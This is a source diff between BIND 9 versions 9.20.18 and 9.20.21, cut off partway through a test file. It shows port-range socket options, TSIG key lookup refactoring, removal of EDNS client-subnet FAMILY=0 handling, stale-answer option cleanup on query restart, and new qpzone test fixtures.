bind9-9.20.18/lib/isc/include/isc/overflow.h 2026-01-09 13:39:28.369979749 +0000 +++ bind9-9.20.21/lib/isc/include/isc/overflow.h 2026-03-13 22:01:10.920870347 +0000 @@ -89,7 +89,7 @@ ({ \ size_t _d; \ bool _overflow = ISC_OVERFLOW_MUL(a, b, &_d) || \ - ISC_OVERFLOW_ADD(_d, c, &_d); \ + ISC_OVERFLOW_ADD(_d, c, &_d); \ INSIST(!_overflow); \ _d; \ }) diff -Nru bind9-9.20.18/lib/isc/include/isc/queue.h bind9-9.20.21/lib/isc/include/isc/queue.h --- bind9-9.20.18/lib/isc/include/isc/queue.h 2026-01-09 13:39:28.369979749 +0000 +++ bind9-9.20.21/lib/isc/include/isc/queue.h 2026-03-13 22:01:10.921870315 +0000 @@ -21,10 +21,10 @@ typedef struct isc_queue { struct __cds_wfcq_head head; uint8_t __padding_head[ISC_OS_CACHELINE_SIZE - - sizeof(struct __cds_wfcq_head)]; + sizeof(struct __cds_wfcq_head)]; struct cds_wfcq_tail tail; uint8_t __padding_tail[ISC_OS_CACHELINE_SIZE - - sizeof(struct __cds_wfcq_head)]; + sizeof(struct __cds_wfcq_head)]; } isc_queue_t; typedef struct cds_wfcq_node isc_queue_node_t; diff -Nru bind9-9.20.18/lib/isc/include/isc/quota.h bind9-9.20.21/lib/isc/include/isc/quota.h --- bind9-9.20.18/lib/isc/include/isc/quota.h 2026-01-09 13:39:28.369979749 +0000 +++ bind9-9.20.21/lib/isc/include/isc/quota.h 2026-03-13 22:01:10.921870315 +0000 @@ -67,7 +67,7 @@ struct { struct cds_wfcq_head head; uint8_t __padding[ISC_OS_CACHELINE_SIZE - - sizeof(struct __cds_wfcq_head)]; + sizeof(struct __cds_wfcq_head)]; struct cds_wfcq_tail tail; } jobs; ISC_LINK(isc_quota_t) link; diff -Nru bind9-9.20.18/lib/isc/include/isc/refcount.h bind9-9.20.21/lib/isc/include/isc/refcount.h --- bind9-9.20.18/lib/isc/include/isc/refcount.h 2026-01-09 13:39:28.370979775 +0000 +++ bind9-9.20.21/lib/isc/include/isc/refcount.h 2026-03-13 22:01:10.921870315 +0000 @@ -201,7 +201,7 @@ __attribute__((unused)); \ stat void name##_detach(name##_t **ptrp) __attribute__((unused)) -#define ISC_REFCOUNT_DECL(name) ISC__REFCOUNT_DECL(name, ISC_REFCOUNT_BLANK) +#define ISC_REFCOUNT_DECL(name) ISC__REFCOUNT_DECL(name, ISC_REFCOUNT_BLANK) #define ISC_REFCOUNT_STATIC_DECL(name) ISC__REFCOUNT_DECL(name, static inline) #define ISC__REFCOUNT_IMPL(name, destroy, stat) \ diff -Nru bind9-9.20.18/lib/isc/include/isc/types.h bind9-9.20.21/lib/isc/include/isc/types.h --- bind9-9.20.18/lib/isc/include/isc/types.h 2026-01-09 13:39:28.372979827 +0000 +++ bind9-9.20.21/lib/isc/include/isc/types.h 2026-03-13 22:01:10.924870219 +0000 @@ -86,6 +86,12 @@ /*%< HTTP endpoints set */ #endif /* HAVE_LIBNGHTTP2 */ +/*% Used by isc_base64 and isc_hex for expected lower bound */ +enum { + isc_zero_or_more = -1, + isc_one_or_more = -2, +}; + /*% Statistics formats (text file or XML) */ typedef enum { isc_statsformat_file, diff -Nru bind9-9.20.18/lib/isc/net.c bind9-9.20.21/lib/isc/net.c --- bind9-9.20.18/lib/isc/net.c 2026-01-09 13:39:28.375979906 +0000 +++ bind9-9.20.21/lib/isc/net.c 2026-03-13 22:01:10.926870156 +0000 @@ -333,7 +333,7 @@ #if defined(USE_SYSCTL_PORTRANGE) #if defined(HAVE_SYSCTLBYNAME) static isc_result_t -getudpportrange_sysctl(int af, in_port_t *low, in_port_t *high) { +getportrange_sysctl(int af, in_port_t *low, in_port_t *high) { int port_low, port_high; size_t portlen; const char *sysctlname_lowport, *sysctlname_hiport; @@ -366,7 +366,7 @@ } #else /* !HAVE_SYSCTLBYNAME */ static isc_result_t -getudpportrange_sysctl(int af, in_port_t *low, in_port_t *high) { +getportrange_sysctl(int af, in_port_t *low, in_port_t *high) { int mib_lo4[4] = SYSCTL_V4PORTRANGE_LOW; int mib_hi4[4] = SYSCTL_V4PORTRANGE_HIGH; int mib_lo6[4] = SYSCTL_V6PORTRANGE_LOW; @@ -407,18 +407,18 @@ #endif /* HAVE_SYSCTLBYNAME */ #endif /* USE_SYSCTL_PORTRANGE */ -isc_result_t -isc_net_getudpportrange(int af, in_port_t *low, in_port_t *high) { +void +isc_net_getportrange(int af, in_port_t *low, in_port_t *high) { int result = ISC_R_FAILURE; -#if !defined(USE_SYSCTL_PORTRANGE) && defined(__linux) +#if !defined(USE_SYSCTL_PORTRANGE) && defined(__linux__) FILE *fp; -#endif /* if !defined(USE_SYSCTL_PORTRANGE) && defined(__linux) */ +#endif /* if !defined(USE_SYSCTL_PORTRANGE) && defined(__linux__) */ REQUIRE(low != NULL && high != NULL); #if defined(USE_SYSCTL_PORTRANGE) - result = getudpportrange_sysctl(af, low, high); -#elif defined(__linux) + result = getportrange_sysctl(af, low, high); +#elif defined(__linux__) UNUSED(af); @@ -446,8 +446,6 @@ *low = ISC_NET_PORTRANGELOW; *high = ISC_NET_PORTRANGEHIGH; } - - return ISC_R_SUCCESS; /* we currently never fail in this function */ } void diff -Nru bind9-9.20.18/lib/isc/netmgr/netmgr-int.h bind9-9.20.21/lib/isc/netmgr/netmgr-int.h --- bind9-9.20.18/lib/isc/netmgr/netmgr-int.h 2026-01-09 13:39:28.376979932 +0000 +++ bind9-9.20.21/lib/isc/netmgr/netmgr-int.h 2026-03-13 22:01:10.927870124 +0000 @@ -366,6 +366,11 @@ atomic_int_fast32_t send_udp_buffer_size; atomic_int_fast32_t recv_tcp_buffer_size; atomic_int_fast32_t send_tcp_buffer_size; + + _Atomic(in_port_t) port_low4; + _Atomic(in_port_t) port_high4; + _Atomic(in_port_t) port_low6; + _Atomic(in_port_t) port_high6; }; /*% @@ -1373,6 +1378,15 @@ * Use minimum MTU on IPv6 sockets */ +isc_result_t +isc__nm_socket_max_port_range(uv_os_sock_t fd ISC_ATTR_UNUSED, + sa_family_t sa_family ISC_ATTR_UNUSED, + in_port_t port_low, in_port_t port_high); +/*%< + * Set IP_BIND_ADDRESS_NO_PORT and IP_LOCAL_PORT_RANGE on the socket + * (Linux only). + */ + void isc__nm_set_network_buffers(isc_nm_t *nm, uv_handle_t *handle); /*%> diff -Nru bind9-9.20.18/lib/isc/netmgr/netmgr.c bind9-9.20.21/lib/isc/netmgr/netmgr.c --- bind9-9.20.18/lib/isc/netmgr/netmgr.c 2026-01-09 13:39:28.376979932 +0000 +++ bind9-9.20.21/lib/isc/netmgr/netmgr.c 2026-03-13 22:01:10.928870092 +0000 @@ -155,6 +155,7 @@ void isc_netmgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t **netmgrp) { isc_nm_t *netmgr = NULL; + in_port_t port_low, port_high; #ifdef MAXIMAL_UV_VERSION if (uv_version() > MAXIMAL_UV_VERSION) { @@ -186,6 +187,11 @@ atomic_init(&netmgr->send_tcp_buffer_size, 0); atomic_init(&netmgr->recv_udp_buffer_size, 0); atomic_init(&netmgr->send_udp_buffer_size, 0); + atomic_init(&netmgr->port_low4, 0); + atomic_init(&netmgr->port_high4, 65535); + atomic_init(&netmgr->port_low6, 0); + atomic_init(&netmgr->port_high6, 65535); + #if HAVE_SO_REUSEPORT_LB netmgr->load_balance_sockets = true; #else @@ -237,6 +243,15 @@ } *netmgrp = netmgr; + + /* + * Set the initial port range for IP_LOCAL_PORT_RANGE. + */ + isc_net_getportrange(AF_INET, &port_low, &port_high); + isc_netmgr_portrange(netmgr, AF_INET, port_low, port_high); + + isc_net_getportrange(AF_INET6, &port_low, &port_high); + isc_netmgr_portrange(netmgr, AF_INET6, port_low, port_high); } /* @@ -2838,6 +2853,24 @@ .complete_header = *header_data }; } +void +isc_netmgr_portrange(isc_nm_t *netmgr, sa_family_t af, in_port_t low, + in_port_t high) { + REQUIRE(VALID_NM(netmgr)); + switch (af) { + case AF_INET: + atomic_store_relaxed(&netmgr->port_low4, low); + atomic_store_relaxed(&netmgr->port_high4, high); + break; + case AF_INET6: + atomic_store_relaxed(&netmgr->port_low6, low); + atomic_store_relaxed(&netmgr->port_high6, high); + break; + default: + UNREACHABLE(); + } +} + #if ISC_NETMGR_TRACE /* * Dump all active sockets in netmgr. We output to stderr diff -Nru bind9-9.20.18/lib/isc/netmgr/socket.c bind9-9.20.21/lib/isc/netmgr/socket.c --- bind9-9.20.18/lib/isc/netmgr/socket.c 2026-01-09 13:39:28.376979932 +0000 +++ bind9-9.20.21/lib/isc/netmgr/socket.c 2026-03-13 22:01:10.928870092 +0000 @@ -11,7 +11,10 @@ * information regarding copyright ownership. */ +#include + #include +#include #include #include "netmgr-int.h" @@ -369,3 +372,72 @@ return ISC_R_SUCCESS; } + +/* + * See + * https://blog.cloudflare.com/linux-transport-protocol-port-selection-performance/#kernel + * for rationalle. + */ +#define PORT_RANGE 1000 + +isc_result_t +isc__nm_socket_max_port_range(uv_os_sock_t fd ISC_ATTR_UNUSED, + sa_family_t sa_family ISC_ATTR_UNUSED, + in_port_t port_low ISC_ATTR_UNUSED, + in_port_t port_high ISC_ATTR_UNUSED) { +#ifdef IP_BIND_ADDRESS_NO_PORT + if (setsockopt_on(fd, IPPROTO_IP, IP_BIND_ADDRESS_NO_PORT) == -1) { + return ISC_R_FAILURE; + } +#endif + +#if defined(IP_LOCAL_PORT_RANGE) && defined(__linux__) + /* + * The option takes an uint32_t value with the high 16 bits + * set to the upper range bound, and the low 16 bits set to + * the lower range bound. Range bounds are inclusive. The + * 16-bit values should be in host byte order. + */ + uint32_t port_range; + int major, minor; + isc_os_kernel(NULL, &major, &minor, NULL); + + /* + * Linux 6.8 implemented a following patch: + * + * If IP_LOCAL_PORT_RANGE is set on a socket before accept(), + * port selection no longer favors even ports. + * + * This means that connect() can find a suitable source port + * faster, and applications can use a different split between + * connect() and bind() users. + */ + if (major < 6 || (major == 6 && minor < 8)) { + /* + * On Linux << 6.8, use IP_LOCAL_PORT_RANGE to + * partition ephemeral port range randomly to help + * with the port selection. + */ + if (port_high - port_low <= PORT_RANGE) { + return ISC_R_RANGE; + } + + /* + * port_low <= N < port_high - PORT_RANGE + */ + port_high -= PORT_RANGE; + port_low += isc_random_uniform(port_high - port_low); + port_high = port_low + PORT_RANGE; + } + INSIST(port_low > 0); + INSIST(port_low < port_high); + + port_range = (uint32_t)port_low | ((uint32_t)port_high << 16); + if (setsockopt(fd, IPPROTO_IP, IP_LOCAL_PORT_RANGE, &port_range, + sizeof(port_range)) == -1) + { + return ISC_R_FAILURE; + } +#endif + return ISC_R_SUCCESS; +} diff -Nru bind9-9.20.18/lib/isc/netmgr/tcp.c bind9-9.20.21/lib/isc/netmgr/tcp.c --- bind9-9.20.18/lib/isc/netmgr/tcp.c 2026-01-09 13:39:28.377979959 +0000 +++ bind9-9.20.21/lib/isc/netmgr/tcp.c 2026-03-13 22:01:10.928870092 +0000 @@ -12,6 +12,7 @@ */ #include +#include #include #include @@ -225,6 +226,7 @@ sa_family_t sa_family; isc__networker_t *worker = NULL; uv_os_sock_t fd = -1; + in_port_t port_low, port_high; REQUIRE(VALID_NM(mgr)); REQUIRE(local != NULL); @@ -261,6 +263,18 @@ (void)isc__nm_socket_min_mtu(sock->fd, sa_family); (void)isc__nm_socket_tcp_maxseg(sock->fd, NM_MAXSEG); + port_low = (sa_family == AF_INET) ? mgr->port_low4 : mgr->port_low6; + port_high = (sa_family == AF_INET) ? mgr->port_high4 : mgr->port_high6; + result = isc__nm_socket_max_port_range(sock->fd, sa_family, port_low, + port_high); + if (result != ISC_R_SUCCESS) { + isc__nmsocket_log(sock, ISC_LOG_DEBUG(99), + "setting up IP_BIND_ADDRESS_NO_PORT or " + "IP_LOCAL_PORT_RANGE failed: %s\n", + result == ISC_R_RANGE + ? isc_result_totext(result) + : strerror(errno)); + } sock->active = true; diff -Nru bind9-9.20.18/lib/isc/os.c bind9-9.20.21/lib/isc/os.c --- bind9-9.20.18/lib/isc/os.c 2026-01-09 13:39:28.378979985 +0000 +++ bind9-9.20.21/lib/isc/os.c 2026-03-13 22:01:10.929870060 +0000 @@ -11,10 +11,13 @@ * information regarding copyright ownership. */ +#include #include #include +#include #include +#include #include #include @@ -23,6 +26,8 @@ static unsigned int isc__os_ncpus = 0; static unsigned long isc__os_cacheline = ISC_OS_CACHELINE_SIZE; static mode_t isc__os_umask = 0; +static int kernel_major = -1, kernel_minor = -1, kernel_patch = -1; +static char kernel_name[64]; #ifdef HAVE_SYSCONF @@ -159,6 +164,19 @@ (void)umask(isc__os_umask); } +static void +kernel_initialize(void) { + struct utsname buffer; + + if (uname(&buffer) == -1) { + return; + } + + (void)sscanf(buffer.release, "%d.%d.%d", &kernel_major, &kernel_minor, + &kernel_patch); + (void)strlcpy(kernel_name, buffer.sysname, sizeof(kernel_name)); +} + unsigned int isc_os_ncpus(void) { return isc__os_ncpus; @@ -175,9 +193,18 @@ } void +isc_os_kernel(char **name, int *major, int *minor, int *patch) { + SET_IF_NOT_NULL(name, kernel_name) + SET_IF_NOT_NULL(major, kernel_major); + SET_IF_NOT_NULL(minor, kernel_minor); + SET_IF_NOT_NULL(patch, kernel_patch); +} + +void isc__os_initialize(void) { umask_initialize(); ncpus_initialize(); + kernel_initialize(); #if defined(HAVE_SYSCONF) && defined(_SC_LEVEL1_DCACHE_LINESIZE) long s = sysconf(_SC_LEVEL1_DCACHE_LINESIZE); if (s > 0 && (unsigned long)s > isc__os_cacheline) { diff -Nru bind9-9.20.18/lib/isccfg/check.c bind9-9.20.21/lib/isccfg/check.c --- bind9-9.20.18/lib/isccfg/check.c 2026-01-09 13:39:28.384980142 +0000 +++ bind9-9.20.21/lib/isccfg/check.c 2026-03-13 22:01:10.936869836 +0000 @@ -87,8 +87,10 @@ find_maplist(const cfg_obj_t *config, const char *listname, const char *name); static isc_result_t -validate_remotes(const cfg_obj_t *obj, const cfg_obj_t *config, - uint32_t *countp, isc_log_t *logctx, isc_mem_t *mctx); +validate_remotes(const cfg_obj_t *obj, const cfg_obj_t *voptions, + const cfg_obj_t *config, uint32_t *countp, isc_log_t *logctx, + isc_mem_t *mctx); + static void freekey(char *key, unsigned int type, isc_symvalue_t value, void *userarg) { UNUSED(type); @@ -2213,7 +2215,8 @@ } uint32_t dummy = 0; - result = validate_remotes(obj, cctx, &dummy, logctx, mctx); + result = validate_remotes(obj, NULL, cctx, &dummy, logctx, + mctx); if (result != ISC_R_SUCCESS) { break; } @@ -2578,17 +2581,58 @@ return get_remotes(cctx, "masters", name, ret); } +static bool +lookup_key(const cfg_obj_t *config, const dns_name_t *keyname) { + const cfg_obj_t *keys = NULL; + + if (config == NULL) { + return false; + } + + (void)cfg_map_get(config, "key", &keys); + for (const cfg_listelt_t *elt = cfg_list_first(keys); elt != NULL; + elt = cfg_list_next(elt)) + { + /* + * `key` are normalized TSIG which must be identified by + * a domain name, so this is needed. Otherwise, with a + * raw string comparison we could have: + * + * remote-servers { x.y.z.s key foo }; + * key foo. { + * ... + * }; + * + * This would otherwise fail, even though the key + * exists. + */ + const cfg_obj_t *foundkey = cfg_listelt_value(elt); + const char *foundkeystr = + cfg_obj_asstring(cfg_map_getname(foundkey)); + dns_fixedname_t foundfname; + dns_name_t *foundkeyname = dns_fixedname_initname(&foundfname); + isc_result_t result = dns_name_fromstring( + foundkeyname, foundkeystr, dns_rootname, 0, NULL); + + if (result == ISC_R_SUCCESS && + dns_name_equal(keyname, foundkeyname)) + { + return true; + } + } + + return false; +} + static isc_result_t -validate_remotes_key(const cfg_obj_t *config, const cfg_obj_t *key, - isc_log_t *logctx) { +validate_remotes_key(const cfg_obj_t *voptions, const cfg_obj_t *config, + const cfg_obj_t *key, isc_log_t *logctx) { isc_result_t result = ISC_R_SUCCESS; if (cfg_obj_isstring(key)) { - const cfg_obj_t *keys = NULL; const char *str = cfg_obj_asstring(key); dns_fixedname_t fname; dns_name_t *nm = dns_fixedname_initname(&fname); - bool found = false; result = dns_name_fromstring(nm, str, dns_rootname, 0, NULL); if (result != ISC_R_SUCCESS) { @@ -2596,47 +2640,14 @@ "'%s' is not a valid name", str); } - result = cfg_map_get(config, "key", &keys); - - for (const cfg_listelt_t *elt = cfg_list_first(keys); - elt != NULL; elt = cfg_list_next(elt)) - { - /* - * `key` are normalized TSIG which must be - * identified by a domain name, so this is - * needed. Otherwise, with a raw string - * comparison we could have: - * - * remote-servers { x.y.z.s key foo }; - * key foo. { - * ... - * }; - * - * This would otherwise fail, even though the - * key exists. - */ - const cfg_obj_t *foundkey = cfg_listelt_value(elt); - const char *foundkeystr = - cfg_obj_asstring(cfg_map_getname(foundkey)); - dns_fixedname_t foundfname; - dns_name_t *foundkeyname = - dns_fixedname_initname(&foundfname); - - result = dns_name_fromstring(foundkeyname, foundkeystr, - dns_rootname, 0, NULL); - - if (dns_name_equal(nm, foundkeyname)) { - found = true; - break; + if (!lookup_key(voptions, nm)) { + if (!lookup_key(config, nm)) { + cfg_obj_log(key, logctx, ISC_LOG_ERROR, + "key '%s' is not defined", + cfg_obj_asstring(key)); + result = ISC_R_FAILURE; } } - - if (!found) { - cfg_obj_log(key, logctx, ISC_LOG_ERROR, - "key '%s' is not defined", - cfg_obj_asstring(key)); - result = ISC_R_FAILURE; - } } return result; @@ -2675,8 +2686,9 @@ } static isc_result_t -validate_remotes(const cfg_obj_t *obj, const cfg_obj_t *config, - uint32_t *countp, isc_log_t *logctx, isc_mem_t *mctx) { +validate_remotes(const cfg_obj_t *obj, const cfg_obj_t *voptions, + const cfg_obj_t *config, uint32_t *countp, isc_log_t *logctx, + isc_mem_t *mctx) { isc_result_t result = ISC_R_SUCCESS; isc_result_t tresult; uint32_t count = 0; @@ -2709,7 +2721,7 @@ key = cfg_tuple_get(cfg_listelt_value(element), "key"); tls = cfg_tuple_get(cfg_listelt_value(element), "tls"); - result = validate_remotes_key(config, key, logctx); + result = validate_remotes_key(voptions, config, key, logctx); if (result != ISC_R_SUCCESS) { goto out; } @@ -3776,8 +3788,8 @@ } if (tresult == ISC_R_SUCCESS && donotify) { uint32_t count; - tresult = validate_remotes(obj, config, &count, logctx, - mctx); + tresult = validate_remotes(obj, voptions, config, + &count, logctx, mctx); if (tresult != ISC_R_SUCCESS && result == ISC_R_SUCCESS) { result = tresult; @@ -3819,8 +3831,8 @@ result = ISC_R_FAILURE; } else { uint32_t count; - tresult = validate_remotes(obj, config, &count, logctx, - mctx); + tresult = validate_remotes(obj, voptions, config, + &count, logctx, mctx); if (tresult != ISC_R_SUCCESS && result == ISC_R_SUCCESS) { result = tresult; @@ -3872,8 +3884,8 @@ (void)cfg_map_get(zoptions, "parental-agents", &obj); if (obj != NULL) { uint32_t count; - tresult = validate_remotes(obj, config, &count, logctx, - mctx); + tresult = validate_remotes(obj, voptions, config, + &count, logctx, mctx); if (tresult != ISC_R_SUCCESS && result == ISC_R_SUCCESS) { result = tresult; diff -Nru bind9-9.20.18/lib/ns/client.c bind9-9.20.21/lib/ns/client.c --- bind9-9.20.18/lib/ns/client.c 2026-01-09 13:39:28.387980221 +0000 +++ bind9-9.20.21/lib/ns/client.c 2026-03-13 22:01:10.939869740 +0000 @@ -1108,8 +1108,7 @@ } if (((client->attributes & NS_CLIENTATTR_HAVEECS) != 0) && (client->ecs.addr.family == AF_INET || - client->ecs.addr.family == AF_INET6 || - client->ecs.addr.family == AF_UNSPEC)) + client->ecs.addr.family == AF_INET6)) { isc_buffer_t buf; uint8_t addr[16]; @@ -1124,10 +1123,6 @@ addrl = (plen + 7) / 8; switch (client->ecs.addr.family) { - case AF_UNSPEC: - INSIST(plen == 0); - family = 0; - break; case AF_INET: INSIST(plen <= 32); family = 1; @@ -1418,23 +1413,6 @@ memset(&caddr, 0, sizeof(caddr)); switch (family) { - case 0: - /* - * XXXMUKS: In queries, if FAMILY is set to 0, SOURCE - * PREFIX-LENGTH must be 0 and ADDRESS should not be - * present as the address and prefix lengths don't make - * sense because the family is unknown. - */ - if (addrlen != 0U) { - ns_client_log(client, NS_LOGCATEGORY_CLIENT, - NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(2), - "EDNS client-subnet option: invalid " - "address length (%u) for FAMILY=0", - addrlen); - return DNS_R_OPTERR; - } - caddr.family = AF_UNSPEC; - break; case 1: if (addrlen > 32U) { ns_client_log(client, NS_LOGCATEGORY_CLIENT, diff -Nru bind9-9.20.18/lib/ns/include/ns/client.h bind9-9.20.21/lib/ns/include/ns/client.h --- bind9-9.20.18/lib/ns/include/ns/client.h 2026-01-09 13:39:28.387980221 +0000 +++ bind9-9.20.21/lib/ns/include/ns/client.h 2026-03-13 22:01:10.939869740 +0000 @@ -248,14 +248,14 @@ #define NS_CLIENTATTR_BADCOOKIE \ 0x00040 /*%< Presented cookie is bad/out-of-date */ /* Obsolete: NS_CLIENTATTR_FILTER_AAAA_RC 0x00080 */ -#define NS_CLIENTATTR_WANTAD 0x00100 /*%< want AD in response if possible */ -#define NS_CLIENTATTR_WANTCOOKIE 0x00200 /*%< return a COOKIE */ -#define NS_CLIENTATTR_HAVECOOKIE 0x00400 /*%< has a valid COOKIE */ -#define NS_CLIENTATTR_WANTEXPIRE 0x00800 /*%< return seconds to expire */ -#define NS_CLIENTATTR_HAVEEXPIRE 0x01000 /*%< return seconds to expire */ -#define NS_CLIENTATTR_WANTOPT 0x02000 /*%< add opt to reply */ -#define NS_CLIENTATTR_HAVEECS 0x04000 /*%< received an ECS option */ -#define NS_CLIENTATTR_WANTPAD 0x08000 /*%< pad reply */ +#define NS_CLIENTATTR_WANTAD 0x00100 /*%< want AD in response if possible */ +#define NS_CLIENTATTR_WANTCOOKIE 0x00200 /*%< return a COOKIE */ +#define NS_CLIENTATTR_HAVECOOKIE 0x00400 /*%< has a valid COOKIE */ +#define NS_CLIENTATTR_WANTEXPIRE 0x00800 /*%< return seconds to expire */ +#define NS_CLIENTATTR_HAVEEXPIRE 0x01000 /*%< return seconds to expire */ +#define NS_CLIENTATTR_WANTOPT 0x02000 /*%< add opt to reply */ +#define NS_CLIENTATTR_HAVEECS 0x04000 /*%< received an ECS option */ +#define NS_CLIENTATTR_WANTPAD 0x08000 /*%< pad reply */ #define NS_CLIENTATTR_USEKEEPALIVE 0x10000 /*%< use TCP keepalive */ #define NS_CLIENTATTR_NOSETFC 0x20000 /*%< don't set servfail cache */ diff -Nru bind9-9.20.18/lib/ns/query.c bind9-9.20.21/lib/ns/query.c --- bind9-9.20.18/lib/ns/query.c 2026-01-09 13:39:28.390980300 +0000 +++ bind9-9.20.21/lib/ns/query.c 2026-03-13 22:01:10.943869612 +0000 @@ -5780,6 +5780,8 @@ isc_result_t ns__query_start(query_ctx_t *qctx) { isc_result_t result = ISC_R_UNSET; + ns_client_t *client = qctx->client; + CCTRACE(ISC_LOG_DEBUG(3), "ns__query_start"); qctx->want_restart = false; qctx->authoritative = false; @@ -5788,6 +5790,13 @@ qctx->need_wildcardproof = false; qctx->rpz = false; + /* + * Clean existing stale options in case ns__query_start was restarted + * due to the CNAME/DNAME chains. + */ + client->query.dboptions &= ~(DNS_DBFIND_STALETIMEOUT | + DNS_DBFIND_STALEOK); + CALL_HOOK(NS_QUERY_START_BEGIN, qctx); /* diff -Nru bind9-9.20.18/srcid bind9-9.20.21/srcid --- bind9-9.20.18/srcid 2026-01-09 13:41:43.421543278 +0000 +++ bind9-9.20.21/srcid 2026-03-13 22:21:33.154775447 +0000 @@ -1 +1 @@ -0d2e0d8 +12f97d4 diff -Nru bind9-9.20.18/tests/bench/iterated_hash.c bind9-9.20.21/tests/bench/iterated_hash.c --- bind9-9.20.18/tests/bench/iterated_hash.c 2026-01-09 13:39:28.393980378 +0000 +++ bind9-9.20.21/tests/bench/iterated_hash.c 2026-03-13 22:01:10.946869516 +0000 @@ -21,6 +21,7 @@ #include #include +#include static void time_it(const int count, const int iterations, const unsigned char *salt, diff -Nru bind9-9.20.18/tests/dns/master_test.c bind9-9.20.21/tests/dns/master_test.c --- bind9-9.20.18/tests/dns/master_test.c 2026-01-09 13:39:28.535984105 +0000 +++ bind9-9.20.21/tests/dns/master_test.c 2026-03-13 22:01:11.091864882 +0000 @@ -63,13 +63,14 @@ rawdata_callback(dns_zone_t *zone, dns_masterrawheader_t *header); static isc_result_t -add_callback(void *arg, const dns_name_t *owner, - dns_rdataset_t *dataset DNS__DB_FLARG) { +add_callback(void *arg, const dns_name_t *owner, dns_rdataset_t *dataset, + dns_diffop_t op DNS__DB_FLARG) { char buf[BIGBUFLEN]; isc_buffer_t target; isc_result_t result; UNUSED(arg); + UNUSED(op); isc_buffer_init(&target, buf, BIGBUFLEN); result = dns_rdataset_totext(dataset, owner, false, false, &target); @@ -107,7 +108,7 @@ } dns_rdatacallbacks_init_stdio(&callbacks); - callbacks.add = add_callback; + callbacks.update = add_callback; callbacks.rawdata = rawdata_callback; callbacks.zone = NULL; if (warn != NULL) { @@ -133,7 +134,7 @@ } dns_rdatacallbacks_init_stdio(&callbacks); - callbacks.add = add_callback; + callbacks.update = add_callback; callbacks.rawdata = rawdata_callback; callbacks.zone = NULL; if (warn != NULL) { diff -Nru bind9-9.20.18/tests/dns/qpzone_test.c bind9-9.20.21/tests/dns/qpzone_test.c --- bind9-9.20.18/tests/dns/qpzone_test.c 2026-01-09 13:39:28.536984131 +0000 +++ bind9-9.20.21/tests/dns/qpzone_test.c 2026-03-13 22:01:11.092864850 +0000 @@ -25,6 +25,8 @@ #include +#include +#include #include #include #include @@ -45,6 +47,22 @@ ((atomic_load_acquire(&(header)->attributes) & \ DNS_SLABHEADERATTR_CASESET) != 0) +/* + * Macro that uses a for loop to execute a cleanup at the end of scope. + */ +#define WITH_NEWVERSION(db, version_var, should_commit) \ + for (dns_dbversion_t *version_var = NULL, *_tmp = ({ \ + isc_result_t _result = dns_db_newversion(db, \ + &version_var); \ + assert_int_equal(_result, ISC_R_SUCCESS); \ + (dns_dbversion_t *)1; \ + }); \ + _tmp != NULL; \ + _tmp = ({ \ + dns_db_closeversion(db, &version_var, should_commit); \ + (dns_dbversion_t *)NULL; \ + })) + const char *ownercase_vectors[12][2] = { { "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz", @@ -96,6 +114,70 @@ } }; +static unsigned char example_org_data[] = { 7, 'e', 'x', 'a', 'm', 'p', 'l', + 'e', 3, 'o', 'r', 'g', 0 }; +static unsigned char example_org_offsets[] = { 0, 8, 12 }; +static dns_name_t example_org_name = DNS_NAME_INITABSOLUTE(example_org_data, + example_org_offsets); + +/* IPv6 test addresses */ +static unsigned char aaaa_test_data[][16] = { + { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }, /* ::1 */ + { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 2 } /* 2001:db8::2 + */ +}; + +/* RRSIG test signatures */ +static unsigned char rrsig_signature1[64] = { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, + 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, + 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, + 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, + 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, + 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40 +}; + +static unsigned char rrsig_signature2[64] = { + 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, + 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, + 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, + 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, + 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, + 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80 +}; + +/* RRSIG test structures */ +static dns_rdata_rrsig_t rrsig_test_data1 = { + .common = { .rdtype = dns_rdatatype_rrsig, + .rdclass = dns_rdataclass_in }, + .covered = dns_rdatatype_a, + .algorithm = DST_ALG_RSASHA256, + .labels = 2, + .originalttl = 300, + .timeexpire = 1695820800, + .timesigned = 1695744000, + .keyid = 0x1234, + .signer = DNS_NAME_INITABSOLUTE(example_org_data, example_org_offsets), + .siglen = 64, + .signature = rrsig_signature1, +}; + +static dns_rdata_rrsig_t rrsig_test_data2 = { + .common = { .rdtype = dns_rdatatype_rrsig, + .rdclass = dns_rdataclass_in }, + .covered = dns_rdatatype_a, + .algorithm = DST_ALG_RSASHA256, + .labels = 2, + .originalttl = 300, + .timeexpire = 1695820800, + .timesigned = 1695744000, + .keyid = 0x5678, + .signer = DNS_NAME_INITABSOLUTE(example_org_data, example_org_offsets), + .siglen = 64, + .signature = rrsig_signature2, +}; + static bool ownercase_test_one(const char *str1, const char *str2) { isc_result_t result; @@ -165,6 +247,118 @@ assert_false(ownercase_test_one("\\216", "\\246")); } +static ssize_t +find_ip_index(const unsigned char *target_ip, unsigned char (*ips)[16], + ssize_t count) { + for (ssize_t i = 0; i < count; i++) { + if (memcmp(target_ip, 